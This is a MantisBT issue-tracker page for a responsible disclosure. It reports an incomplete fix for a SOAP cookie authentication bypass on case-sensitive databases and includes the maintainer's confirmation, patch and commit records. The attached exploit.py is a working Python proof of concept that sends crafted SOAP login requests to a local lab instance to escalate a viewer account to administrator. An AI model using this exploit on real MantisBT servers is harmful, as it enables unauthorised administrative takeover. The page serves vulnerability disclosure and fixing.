View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0037361 | mantisbt | security | public | 2026-08-27 23:41 | 2026-11-22 16:08 |
| Reporter | kanokwut | Assigned To | dregad | ||
| Priority | high | Severity | major | Reproducibility | always |
| Status | closed | Resolution | fixed | ||
| Product Version | 2.28.4 | ||||
| Target Version | 2.29.0 | Fixed in Version | 2.29.0 | ||
| Summary | 0037361: Incomplete fix for CVE-2026-47156: SOAP cookie auth bypass via username case collision on PostgreSQL | ||||
| Description | The fix for CVE-2026-47156 (GHSA-c2xg-qjqw-2v98) in MantisBT 2.28.4 can be The strcasecmp() ownership check in mci_check_login() (api/soap/mc_api.php) An attacker who self-registers a case-variant of a target username (e.g. Root cause: case-sensitivity mismatch between the ownership check CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (8.8 High) Tested on MantisBT 2.28.4 + PostgreSQL 16 (Docker). | ||||
| Steps To Reproduce |
Control: mc_login(username="ADMINISTRATOR", password=<same_cookie>) Automated PoC (Docker + Python): see Additional Information | ||||
| Additional Information | Private PoC repository (Docker Compose + automated exploit): GitHub username: kanokwut Suggested fix (Option A — recommended): Suggested fix (Option B): | ||||
| Tags | No tags attached. | ||||
| Attached Files | exploit.py (6,850 bytes)
#!/usr/bin/env python3
"""
PoC: MantisBT CVE-2026-47156 incomplete fix — SOAP cookie auth bypass
via username case-collision on PostgreSQL (case-sensitive collation).
Demonstrates that the strcasecmp() ownership check in mci_check_login()
can be bypassed when the DB uses a case-sensitive collation, because
the subsequent auth_attempt_script_login() resolves the user by an
exact-match SQL query, landing on a DIFFERENT user than the cookie owner.
Prerequisites (set up by docker-compose + setup.sh):
- MantisBT 2.28.4 (patched for CVE-2026-47156) on PostgreSQL
- Real admin: username="administrator", access_level=90
- Attacker: username="ADMINISTRATOR", access_level=25 (viewer)
"""
import sys
import re
import requests
BASE = "http://localhost:8989"
def step(n, msg):
print(f"\n{'='*60}")
print(f" STEP {n}: {msg}")
print(f"{'='*60}")
def main():
# ── Step 1: Get attacker's cookie_string directly from DB helper ──
step(1, "Get attacker (ADMINISTRATOR) cookie_string")
r = requests.get(f"{BASE}/poc_get_cookie.php?user=ADMINISTRATOR")
attacker_cookie = r.text.strip()
if not attacker_cookie or attacker_cookie == "NOT_FOUND":
print(" [FAIL] Cannot get attacker cookie_string from DB")
sys.exit(1)
print(f" Attacker cookie_string: {attacker_cookie[:20]}...")
# Verify: also get the real admin's cookie for comparison
r2 = requests.get(f"{BASE}/poc_get_cookie.php?user=administrator")
admin_cookie = r2.text.strip()
print(f" Real admin cookie: {admin_cookie[:20]}...")
print(f" Cookies are different: {attacker_cookie != admin_cookie}")
# ── Step 2: Demonstrate the bug — SOAP mc_login ──
step(2, "SOAP mc_login(username='administrator', password=<ATTACKER_cookie>)")
print(f" Target: real admin 'administrator' (access_level=90)")
print(f" Using: cookie from 'ADMINISTRATOR' (access_level=25)")
print(f"")
print(f" The fix checks: strcasecmp('ADMINISTRATOR','administrator') == 0")
print(f" But login resolves: WHERE username='administrator' → real admin")
soap_body = f"""<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:man="http://futureware.biz/mantisconnect">
<soapenv:Body>
<man:mc_login>
<man:username>administrator</man:username>
<man:password>{attacker_cookie}</man:password>
</man:mc_login>
</soapenv:Body>
</soapenv:Envelope>"""
r = requests.post(
f"{BASE}/api/soap/mantisconnect.php",
data=soap_body,
headers={
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": "http://futureware.biz/mantisconnect/mc_login",
},
)
print(f"\n SOAP response status: {r.status_code}")
# ── Step 3: Parse response ──
step(3, "Parse SOAP response — did we get admin access?")
body = r.text
if "Fault" in body or "fault" in body:
m = re.search(r'<faultstring>(.*?)</faultstring>', body)
fault = m.group(1) if m else body[:300]
print(f" [-] SOAP Fault: {fault}")
print(f"\n Exploit blocked — fix may be complete on this version,")
print(f" or SOAP API is not enabled.")
sys.exit(1)
# Extract fields from response (namespaced XML)
m_id = re.search(r'<id[^>]*>(\d+)</id>', body)
m_name = re.search(r'<name[^>]*>(.*?)</name>', body)
m_access = re.search(r'<access_level[^>]*>(\d+)</access_level>', body)
if m_access:
level = int(m_access.group(1))
uid = m_id.group(1) if m_id else "?"
name = m_name.group(1) if m_name else "?"
print(f" Returned user id: {uid}")
print(f" Returned username: {name}")
print(f" Returned access_level: {level}")
if level >= 90:
print(f"")
print(f" ╔═══════════════════════════════════════════════════════╗")
print(f" ║ EXPLOIT SUCCESSFUL — PRIVILEGE ESCALATION ║")
print(f" ║ ║")
print(f" ║ Logged in as '{name}' (id={uid}, access_level={level}) ")
print(f" ║ using cookie of 'ADMINISTRATOR' (access_level=25) ║")
print(f" ║ ║")
print(f" ║ The strcasecmp() fix for CVE-2026-47156 does NOT ║")
print(f" ║ prevent this on case-sensitive DB collations ║")
print(f" ║ (PostgreSQL default). ║")
print(f" ╚═══════════════════════════════════════════════════════╝")
else:
print(f"\n [-] Access level {level} < 90 — not escalated")
if name.lower() == "administrator" and level == 25:
print(f" Logged in as the attacker's own account, not the admin")
else:
print(f" [?] Unexpected response (no access_level):")
print(f" {body[:500]}")
# ── Step 4: Demonstrate normal case — attacker's own login ──
step(4, "Control: SOAP mc_login as 'ADMINISTRATOR' with own cookie")
soap_ctrl = f"""<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:man="http://futureware.biz/mantisconnect">
<soapenv:Body>
<man:mc_login>
<man:username>ADMINISTRATOR</man:username>
<man:password>{attacker_cookie}</man:password>
</man:mc_login>
</soapenv:Body>
</soapenv:Envelope>"""
r2 = requests.post(
f"{BASE}/api/soap/mantisconnect.php",
data=soap_ctrl,
headers={
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": "http://futureware.biz/mantisconnect/mc_login",
},
)
m2_access = re.search(r'<access_level[^>]*>(\d+)</access_level>', r2.text)
m2_name = re.search(r'<name[^>]*>(.*?)</name>', r2.text)
if m2_access:
print(f" Control login: user={m2_name.group(1) if m2_name else '?'} access={m2_access.group(1)}")
print(f" (This is the attacker's own account — access_level=25, as expected)")
elif "Fault" in r2.text:
m = re.search(r'<faultstring>(.*?)</faultstring>', r2.text)
print(f" Control: SOAP Fault — {m.group(1) if m else 'unknown'}")
print(f" (Expected if username regex rejects uppercase)")
else:
print(f" Control response: {r2.text[:300]}")
if __name__ == "__main__":
main()
| ||||
|
Thanks for the detailed report, I'll look into it. |
|
|
Confirmed. Problem is also reproducible on a MySQL database where the mantis_user_table.username column is defined with a case-sensitive collation (e.g. Looking at the original report (0037121) and patch (MantisBT master-2.28 e3571c31), I believe this is in fact the exact same vulnerability; consequently I don't think I should open a new advisory and request another CVE ID. I sent an email to the GitHub CNA team to confirm this approach; if they agree, I'll just update the existing CVE and credit you there (less overhead). I'm working on a fix based on your suggestion, it should be available shortly. |
|
|
@kanokwut 0001-Prevent-SOAP-API-auth-bypass-on-case-sensitive-DB.patch (1,696 bytes)
From 3eaa74f975bce62d58c29c5968baecf0d9a8f00d Mon Sep 17 00:00:00 2001
From: Damien Regad <dregad@mantisbt.org>
Date: Fri, 4 Sep 2026 17:29:04 +0200
Subject: [PATCH] Prevent SOAP API auth bypass on case-sensitive DB
This is a follow-up on commit e3571c319b1721b41b0dc4b5b5203cbdcbe0c2ee.
The patch relied on the username provided in the SOAP request to perform
login, instead of using the one from the account matching the provided
cookie string.
Case-sensitive databases such as PostgreSQL allow creation of distinct
user accounts with names differing only by case (e.g. `administrator` /
`ADMINISTRATOR`). On such systems, the authentication bypass remains
possible because of that.
We now retrieve the username from the user id matching the cookie.
Fixes #37121, #37361, GHSA-c2xg-qjqw-2v98
---
api/soap/mc_api.php | 5 +++--
1 file changed, 3 insertions(+), 2 deletions(-)
diff --git a/api/soap/mc_api.php b/api/soap/mc_api.php
index e1ed1dc34..601c4780b 100644
--- a/api/soap/mc_api.php
+++ b/api/soap/mc_api.php
@@ -484,10 +484,11 @@ function mci_check_login( ?string $p_username, ?string $p_password ) {
$t_user_id = auth_user_id_from_cookie( $p_password );
if( $t_user_id !== false ) {
# Cookie is valid - does it belong to the user trying to log in ?
- if( 0 != strcasecmp( user_get_username( $t_user_id ), $p_username ) ) {
+ $t_username_from_cookie = user_get_username( $t_user_id );
+ if( 0 != strcasecmp( $t_username_from_cookie, $p_username ) ) {
return false;
}
- if( auth_attempt_script_login( $p_username ) === false ) {
+ if( auth_attempt_script_login( $t_username_from_cookie ) === false ) {
return false;
}
} else {
--
2.55.0
|
|
|
I have tested the patch, it works as expected. Clean test on MantisBT 2.28.4 + PostgreSQL 16:
Passing |
|
|
Many thanks for the confirmation. I'll keep you posted when I hear back from GitHub staff. |
|
|
@kanokwut Please let me know how you would like your name to appear in the credits. |
|
|
@dregad |
|
|
MantisBT: master-2.28 e3571c31 2026-06-27 12:11 Committer: community Details Diff |
Prevent SOAP API auth bypass using cookie_string Verify that the given cookie actually belongs to the user trying to login, deny access if not. Username comparison is performed case insensitively. Fixes 0037121, GHSA-c2xg-qjqw-2v98 |
Affected Issues 0037121, 0037361 |
|
| mod - api/soap/mc_api.php | Diff File | ||
|
MantisBT: master c494f763 2026-09-04 11:29 Details Diff |
Prevent SOAP API auth bypass on case-sensitive DB This is a follow-up on commit e3571c319b1721b41b0dc4b5b5203cbdcbe0c2ee. The patch relied on the username provided in the SOAP request to perform login, instead of using the one from the account matching the provided cookie string. Case-sensitive databases such as PostgreSQL allow creation of distinct user accounts with names differing only by case (e.g. `administrator` / `ADMINISTRATOR`). On such systems, the authentication bypass remains possible because of that. We now retrieve the username from the user id matching the cookie. Fixes 0037121, 0037361, GHSA-c2xg-qjqw-2v98 |
Affected Issues 0037121, 0037361 |
|
| mod - api/soap/mc_api.php | Diff File | ||